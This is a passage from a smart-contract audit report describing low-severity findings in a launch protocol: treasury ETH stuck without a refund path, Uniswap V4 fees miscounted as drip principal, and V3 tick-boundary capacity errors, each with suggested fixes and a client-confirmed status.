Sources	External finding, verified against commit `07ea04f`
PoC	none
Related	#20 (another way `PendingMint` ETH gets stuck; different trigger, but this issue's refund path would also mitigate it)

Description

What's wrong

The protocol checks whether the Bernard bond integration works only when a launch is created, and the check is shallow. When the launch finalizes, treasury ETH is always sent to the bond adapter to wait for a bond purchase. That waiting ETH can only leave by becoming a bond. If Bernard stops minting, or DexFi stops signing mint data, between launch creation and finalization (or at any time after), the ETH is locked with no refund.

How

`UniversalBondsAdapter.isLive()` (`:179-194`) only checks that the four contracts have code and that `bonds.rewardPool()` / `rewardPool.rewardToken()` match the configured addresses. It does not check NFTBonds pause state, whether mint signatures are still available, whether Redemption is usable, or whether rewards are still being paid. `LaunchManager.isModeEnabled` (`:251`) uses it only during `createLaunch` (`:342`). `finalizeLaunch` (`:481`) → `_settleLaunch` → `_deployTreasury` (`:641-662`) doesn't check again. It always calls `TreasuryVault.mintBond{value}` (`:661`) → `mintBondETH` (`UniversalBondsAdapter.sol:222-242`), which parks the ETH in a `PendingMint` position.

`PendingMint` ETH can only leave through `_mintProjectBond`, which needs a successful `bonds.mint` with DexFi-signed data. The adapter and the vault have no refund, cancel or timeout path, and `redeemPrincipal` needs `RedemptionSettled`.

Impact

- **Creator / project treasury:** if Bernard minting stops working, every finalized launch's treasury leg is locked permanently.
- **Later launches:** launches created while Bernard still worked keep finalizing into the same dead end.
- Scope note: the trigger is a failure of a trusted outside party (Bernard/DexFi), hence Low for a private audit. "Stops rewarding" alone is not a bug in this code: bonds that pay zero yield are a counterparty risk, not something `isLive` can guarantee.

Exploit path

1. A Bond Treasury / Built launch is created while `isLive()` returns true.
2. Bernard pauses or deprecates `NFTBonds.mint`, or DexFi stops issuing `MintDataInput`.
3. The launch finalizes. `_deployTreasury` → `mintBond` → `mintBondETH` creates a `PendingMint` position holding the treasury ETH.
4. `mintProjectBond` can't succeed, and there is no other exit.

Recommendation

1. Add a timeout-gated refund for `PendingMint` ETH back to the TreasuryVault (or creator), callable after, say, 30 days without a successful mint.
2. Check the mode again at finalization: route treasury ETH elsewhere, or let the launch fail cleanly with refunds, when the adapter is not live.

```
function refundStalePendingMint(uint256 positionId) external onlyAdministrator nonReentrant {
    Position storage position = _positions[positionId];
    require(position.state == PositionState.PendingMint, "UniversalBondsAdapter: not pending");
    require(block.timestamp >= position.createdAt + PENDING_MINT_TIMEOUT, "UniversalBondsAdapter: too early");
    uint256 amount = position.pendingETH;
    position.pendingETH = 0;
    totalPendingProjectETH -= amount;
    position.state = PositionState.Refunded;
    Address.sendValue(payable(position.vault), amount);
}
```

Filed from external findings, each re-verified against the source. Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 26: Treasury ETH is committed to PendingMint at finalization without rechecking Bernard, and has no refund path if minting stops working. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-15 Drip additions treat modifyLiquidity's callerDelta as principal, but it includes donation-created position fees, which can block tranches

Source: GitHub issue #27
Severity: Low

Description

Severity	Low
Confidence	Medium (code trace)
Location	`LaunchPoolFactory.sol:_seedLiquidity` (:584-605, ACTION_ADD path)
Class	DeltaAccounting (V0)
Scope	Full scope: reached only through `addDripLiquidity` from the drip contracts (first recorded as stage-1 F-02)
Sources	External finding, verified against commit `07ea04f`
PoC	none

Description

What's wrong

When the drip adds to the factory's existing pool position, Uniswap V4 also pays out the fees that position has earned. Those fees are netted into the same balance change. The factory treats that net figure as what it spent. Anyone can create fees for the position by donating to the pool. Large enough fees make the drip revert. Smaller ones send the position's fees back into the drip budget.

How

Each drip tranche calls `modifyLiquidity` on the same position (`minUsableTick`, `maxUsableTick`, salt `0`) (`LaunchPoolFactory.sol:584-593`). In V4, the returned `callerDelta` is principal plus `feesAccrued`. `_seedLiquidity` ignores the second return value. It requires `delta0 <= 0 && delta1 <= 0` (`:598`) and treats `-delta` as `used0/used1` (`:599-604`). `donate` is not restricted: the hook declares no donate permission. - If a donation makes accrued fees larger than the tranche's principal on either side, `delta > 0`, and the call reverts `Factory: unexpected seed delta`. The revert keeps the fees in place, so every later tranche also reverts until one is big enough to outweigh them. - Smaller donations reduce `used0/used1`. The position's fees, which belong to its LP recipient, are then counted as drip budget instead.

The first seed is unaffected because no position exists yet.

Impact

- **Drip program:** a donor can block tranches for as long as accrued fees exceed one tranche's principal. The donor pays for it with the donated amount.
- **LP fee recipient:** fees earned by the factory-held position are silently counted as drip budget instead of being sent to their recipient.

Recommendation

Separate the principal from the fees, and handle the fees explicitly.

```
(BalanceDelta callerDelta, BalanceDelta feesAccrued) = poolManager.modifyLiquidity(seed.key, params, "");
BalanceDelta principal = callerDelta - feesAccrued;
// validate/settle `principal`; take() and route `feesAccrued` to the LP recipient
```

Alternatively, collect fees with a zero-liquidity `modifyLiquidity` before each addition.

Filed from external findings, each re-verified against the source. Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 27: Drip additions treat modifyLiquidity's callerDelta as principal, but it includes donation-created position fees, which can block tranches. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-16 V3 capacity guards stop at the next initialized tick, returning zero on an exact boundary (zeroForOne) and tiny capacity near one

Source: GitHub issue #28
Severity: Low

Description

Severity	Low
Confidence	High (code confirmed)
Location	`ProjectSupportV3TwapGuard.sol:_poolInputCapacity` (:159-209), `_nextInitializedTick` (:211-); same pattern in `PlazmV3TwapGuard.sol` (:188-, :224, :248-) and `BuildAssetV3RouteGuard.sol` (:180-, :207, :228-)
Class	TickBoundaryMath (V0)
Sources	External finding, verified against commit `07ea04f` (scope narrowed, see below)
PoC	none

Description

What's wrong

The V3 route guards estimate how much input a swap can safely take. They only count liquidity up to the next initialized tick. When the pool price sits exactly on an initialized tick, and the swap moves toward lower prices, the guard reports zero capacity. A real V3 swap would just cross that tick and continue. More commonly, when the price sits just short of a nearby initialized tick, the guard reports a tiny capacity, even though there is plenty of liquidity beyond the tick.

How

`_poolInputCapacity` sets `target` to whichever is closer: the impact-limit price or `getSqrtRatioAtTick(_nextInitializedTick(...))`. It then sizes input as `liquidity × (sqrtP → target)` within the current range only (`ProjectSupportV3TwapGuard.sol:159-209`).

For `zeroForOne` (input token is token0), `_nextInitializedTick`'s mask includes the current compressed tick's own bit. When `slot0.tick` is an initialized multiple of the spacing and `sqrtPriceX96 == getSqrtRatioAtTick(slot0.tick)`, `nextTick == currentTick` and `target >= currentSqrtPriceX96`, so the function returns 0 (`:192`). This state arises after an upward swap that stops exactly on an initialized tick, or when a pool is initialized on one.

For `oneForZero`, the search starts at `compressed + 1`, so the result is never exactly zero.

Scope correction to the original report: on Base's USDC/WETH pool, WETH (`0x4200…0006`) is token0, so the USDC→WETH hop is `zeroForOne = false`. **The exact-zero case cannot happen in `ProjectSupportV3TwapGuard`'s USDC hop.** It can happen in `PlazmV3TwapGuard` / `BuildAssetV3RouteGuard` hops where the input token is token0. In both directions, capacity collapses toward zero whenever the price is close to the next initialized tick. On pools with closely spaced ticks (e.g. spacing 10), that is often well under the 25-50 bps impact budget.

Impact

- **Liveness only:** `ProjectSupportExecutor` reverts `SupportExecutor: V3 capacity` (`:219`, `:311`) or `build-asset V3 capacity` (`:645`). The automatic paths are wrapped in try/catch

(`ProjectSupportController.sol:670`, `:721`), so funds stay in place and are retried later. No value is lost or mis-priced; the slippage and TWAP checks are separate.
- **Under-execution:** dense pools often report tiny capacity, so buy/burn and liquidity-support tranches are skipped more often than the 25-50 bps impact budget requires.
- **Griefing:** an attacker could hold a pool just below an initialized tick, but on a deep pool that costs fees and arbitrage losses with no gain.

Recommendation

Walk across initialized ticks (updating liquidity with `liquidityNet`) until the impact limit is reached, instead of stopping at the first boundary. At minimum, when the price sits exactly on the boundary in the `zeroForOne` direction, treat that tick as already crossed and search below it.

```
// _nextInitializedTick, zeroForOne branch: skip the tick we are sitting exactly on
if (zeroForOne && currentSqrtPriceX96 == TickMathLib.getSqrtRatioAtTick(currentTick) && currentTick % spacing == 0) {
    tick = currentTick - 1;
}
```

Filed from external findings, each re-verified against the source. Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 28: V3 capacity guards stop at the next initialized tick, returning zero on an exact boundary (zeroForOne) and tiny capacity near one. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

Conclusion

The review identified **28 findings**: **3 High**, **9 Medium**, **16 Low**, and **0 Informational**. Remediation status is **28 Fixed**, based on client confirmation. The GitHub issue ledger remains administratively open, and the repository state reviewed for publication did not provide independent commit-level or regression-test evidence for the remediations.

The Fixed classification should therefore be read as client-confirmed status, not as an independent verification claim. A follow-up verification pass should reconcile each issue against its remediation commit and regression tests before relying on the report as independently verified evidence.